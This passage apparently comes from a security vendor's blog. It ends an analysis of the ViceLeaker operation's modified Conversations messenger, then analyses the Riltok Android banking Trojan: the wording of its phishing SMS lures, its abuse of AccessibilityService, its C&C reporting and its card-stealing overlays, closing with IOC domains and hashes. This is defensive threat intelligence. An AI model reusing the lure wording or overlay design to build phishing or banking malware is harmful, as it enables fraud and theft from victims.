This would be a very unusual coincidence. Even when a false flag might also be a possibility, we consider this to be unlikely.

The samples sharing this overlap are modified versions of an open source Jabber/XMPP client called “Conversations” with some code additions. The legitimate version of this app is also available on Google Play.

Screenshot of Conversations app on Google Play

The Conversations modified samples differ from the original one in the getKnownHosts method that was modified to replace the main XMPP host with the attackers’ C2 server:

Comparison of the original “getKnownHosts” method (from Github) and the modified one

It appears that the attackers were using a specific C2 for the use of that app. Another important modification is in the message transfer process:

Comparison of the original Conversations method with the modified once

With this modification, an application sends device location coordinates with every message.

There are also many other modifications, fully described in our private report. In addition, we did not see traces of the Smali injection. In this case we found traces of dx/dexmerge compilers, which means that, this time, the attackers just imported the original source code into an Android IDE (such as Android Studio, for instance) and compiled it with their own modifications.

dx/dexmerge compiler of the modified Conversations samples

In addition to adding the code, the attackers also changed the icon and package name. We do not know why, but we suspect that it was an attempt to hide the origin of the application.

Conversations-based app mimics Telegram messenger

Even when we originally thought this was a backdoored version of the Conversations app, used to infect victims, we didn´t discovered anything malicious in it. This brought to us the hypothesis that this might be a version used by the group behind ViceLeaker for internal communication or for other, unclear purposes. All the detections of this backdoored app were geolocated in Iran.

Backdoored Conversations C2 server analysis

During the analysis of the Smali injected apps and their C2 server infrastructure we hadn’t found any interesting clues, but things changed when we looked at the C2 server of the linked Conversations messenger. It uses “185.51.201[.]133” as a main C2 address, and there is only one domain that is hosted on this dedicated server – iliageram[.]ir. Note that we later found versions that used the domain as a C2 directly instead of the IP address. The record contains a personal email address:

WHOIS records of C2 server exposing the attacker’s email address

We were aware of the possibility that the attackers might be using a compromised email account, so we dug deeper to find more information related to this email address. A quick search produced results about a personal page and, what is more interesting, a GitHub account that contains a forked Conversation repository.

Related Github account contains forked Conversations repository

Summarizing all the found clues, we have the following attribution flow:


The operation of ViceLeaker is still ongoing, as is our research. The attackers have taken down their communication channels and are probably looking for ways to assemble their tools in a different manner. Kaspersky detects and blocks samples of the ViceLeaker operation using the following verdict: Trojan-Spy.AndroidOS.ViceLeaker.*

Actually, we are currently investigating whether this group might also be behind a large-scale web-oriented attack at the end of 2018 using code injection and exploiting SQL vulnerabilities. Even when this would not be directly related to the Android malware described in this blogpost, it would be an indicator of wider capabilities and objectives of this actor.

For more information about the ViceLeaker operation, contact us at: intelreports@kaspersky.com

Riltok mobile Trojan: A banker with global reach

25 Červen, 2019 - 12:00

Riltok is one of numerous families of mobile banking Trojans with standard (for such malware) functions and distribution methods. Originally intended to target the Russian audience, the banker was later adapted, with minimal modifications, for the European “market.” The bulk of its victims (more than 90%) reside in Russia, with France in second place (4%). Third place is shared by Italy, Ukraine, and the United Kingdom.

Geographic spread of the Riltok banking Trojan

We first detected members of this family back in March 2018. Like many other bankers, they were disguised as apps for popular free ad services in Russia. The malware was distributed from infected devices via SMS in the form “%USERNAME%, I’ll buy under a secure transaction. youlabuy[.]ru/7*****3” or “%USERNAME%, accept 25,000 on Youla youla-protect[.]ru/4*****7”, containing a link to download the Trojan. Other samples were also noticed, posing as a client of a ticket-finding service or as an app store for Android.

It was late 2018 when Riltok climbed onto the international stage. The cybercriminals behind it kept the same masking and distribution methods, using names and icons imitating those of popular free ad services.

Icons most frequently used by the Trojan: Avito, Youla, Gumtree, Leboncoin, Subito

In November 2018, a version of the Trojan for the English market appeared in the shape of Gumtree.apk. The SMS message with a link to a banker looked as follows: “%USERNAME%, i send you prepayment gumtree[.]cc/3*****1”.

Italian (Subito.apk) and French (Leboncoin.apk) versions appeared shortly afterwards in January 2019. The messages looked as follows:

  • “%USERNAME%, ti ho inviato il soldi sul subito subito-a[.]pw/6*****5” (It.)
  • “% USERNAME%, ti ho inviato il pagamento subitop[.]pw/4*****7” (It.)
  • “%USERNAME%, je vous ai envoyé un prepaiement m-leboncoin[.]top/7*****3” (Fr.)
  • “%USERNAME%, j’ai fait l’avance (suivi d’un lien): leboncoin-le[.]com/8*****9” (Fr.)

Let’s take a more detailed look at how this banking Trojan works.


The user receives an SMS with a malicious link pointing to a fake website simulating a popular free ad service. There, they are prompted to download a new version of the mobile app, under which guise the Trojan is hidden. To be installed, it needs the victim to allow installation of apps from unknown sources in the device settings.

During installation, Riltok asks the user for permission to use special features in AccessibilityService by displaying a fake warning:

If the user ignores or declines the request, the window keeps opening ad infinitum. After obtaining the desired rights, the Trojan sets itself as the default SMS app (by independently clicking Yes in AccessibilityService), before vanishing from the device screen.

After enabling AccessibilityService, the malware sets itself as the default SMS app

Now installed and having obtained the necessary permissions from the user, Riltok contacts its C&C server.

In later versions, when it starts, the Trojan additionally opens a phishing site in the browser that simulates a free ad service so as to dupe the user into entering their login credentials and bank card details. The entered data is forwarded to the cybercriminals.

Phishing page from the French version of the Trojan

Communication with C&C

Riltok actively communicates with its C&C server. First off, it registers the infected device in the administrative panel by sending a GET request to the relative address gate.php (in later versions gating.php) with the ID (device identifier generated by the setPsuedoID function in a pseudo-random way based on the device IMEI) and screen (shows if the device is active, possible values are “on”, “off”, “none”) parameters.

Then, using POST requests to the relative address report.php, it sends data about the device (IMEI, phone number, country, mobile operator, phone model, availability of root rights, OS version), list of contacts, list of installed apps, incoming SMS, and other information. From the server, the Trojan receives commands (for example, to send SMS) and changes in the configuration.

Trojan anatomy

The family was named Riltok after the librealtalk-jni.so library contained in the APK file of the Trojan. The library includes such operations as:

  • Get address of cybercriminal C&C server
  • Get configuration file with web injects from C&C, as well as default list of injects
  • Scan for app package names that generated AccessibilityEvent events in the list of known banking/antivirus/other popular apps
  • Set malware as default SMS app
  • Get address of the phishing page that opens when the app runs, and others

getStartWebUrl function – get address of phishing page

The configuration file contains a list of injects for mobile banking apps – links to phishing pages matching the mobile banking app used by the user. In most so-called Western versions of the Trojan, the package names in the default configuration file are erased.

Sample configuration file of the Trojan

Through AccessibilityService, the malware monitors AccessibilityEvent events. Depending on which app (package name) generated the event, Riltok can:

  • Open a fake Google Play screen requesting bank card details
  • Open a fake screen or phishing page in a browser (inject) mimicking the screen of the relevant mobile banking app and requesting user/bank card details
  • Minimize the app (for example, antivirus applications or device security settings)

Additionally, the Trojan can hide notifications from certain banking apps.

List of package names of apps on events from which the Trojan opens a fake Google Play window (for the Russian version of the Trojan)

Example of Trojan screen overlapping other apps

When bank card details are entered in the fake window, Riltok performs basic validation checks: card validity period, number checksum, CVC length, whether the number is in the black list sewn into the Trojan code:

Examples of phishing pages imitating mobile banks

At the time of writing, the functionality of most of the Western versions of Riltok was somewhat pared down compared to the Russian one. For example, the default configuration file with injects is non-operational, and the malware contains no fake built-in windows requesting bank card details.


Threats are better prevented than cured, so do not follow suspicious links in SMS, and be sure to install apps only from official sources and check what permissions you are granting during installation. As Riltok shows, cybercriminals can apply the same methods of infection to victims in different countries with more or less the same success.

Kaspersky products detect the above-described threat with the verdict Trojan-Banker.AndroidOS.Riltok.



  • alr992.date
  • avito-app.pw
  • backfround2.pw
  • background1.xyz
  • blacksolider93.com
  • blass9g087.com
  • brekelter2.com
  • broplar3hf.xyz
  • buy-youla.ru
  • cd78cg210xy0.com
  • copsoiteess.com
  • farmatefc93.org
  • firstclinsop.com
  • holebrhuhh3.com
  • holebrhuhh45.com
  • karambga3j.net
  • le22999a.pw
  • leboncoin-bk.top
  • leboncoin-buy.pw
  • leboncoin-cz.info
  • leboncoin-f.pw
  • leboncoin-jp.info
  • leboncoin-kp.top
  • leboncoin-ny.info
  • leboncoin-ql.top
  • leboncoin-tr.info
  • myyoula.ru
  • sell-avito.ru
  • sell-youla.ru
  • sentel8ju67.com
  • subito-li.pw
  • subitop.pw
  • web-gumtree.com
  • whitehousejosh.com
  • whitekalgoy3.com
  • youlaprotect.ru

Examples of malware

  • 0497b6000a7a23e9e9b97472bc2d3799caf49cbbea1627ad4d87ae6e0b7e2a98
  • 417fc112cd0610cc8c402742b0baab0a086b5c4164230009e11d34fdeee7d3fa
  • 54594edbe9055517da2836199600f682dee07e6b405c6fe4b476627e8d184bfe
  • 6e995d68c724f121d43ec2ff59bc4e536192360afa3beaec5646f01094f0b745
  • bbc268ca63eeb27e424fec1b3976bab550da304de18e29faff94d9057b1fa25a
  • dc3dd9d75120934333496d0a4100252b419ee8fcdab5d74cf343bcb0306c9811
  • e3f77ff093f322e139940b33994c5a57ae010b66668668dc4945142a81bcc049
  • ebd0a8043434edac261cb25b94f417188a5c0d62b5dd4033f156b890d150a4c5
  • f51a27163cb0ddd08caa29d865b9f238848118ba2589626af711330481b352df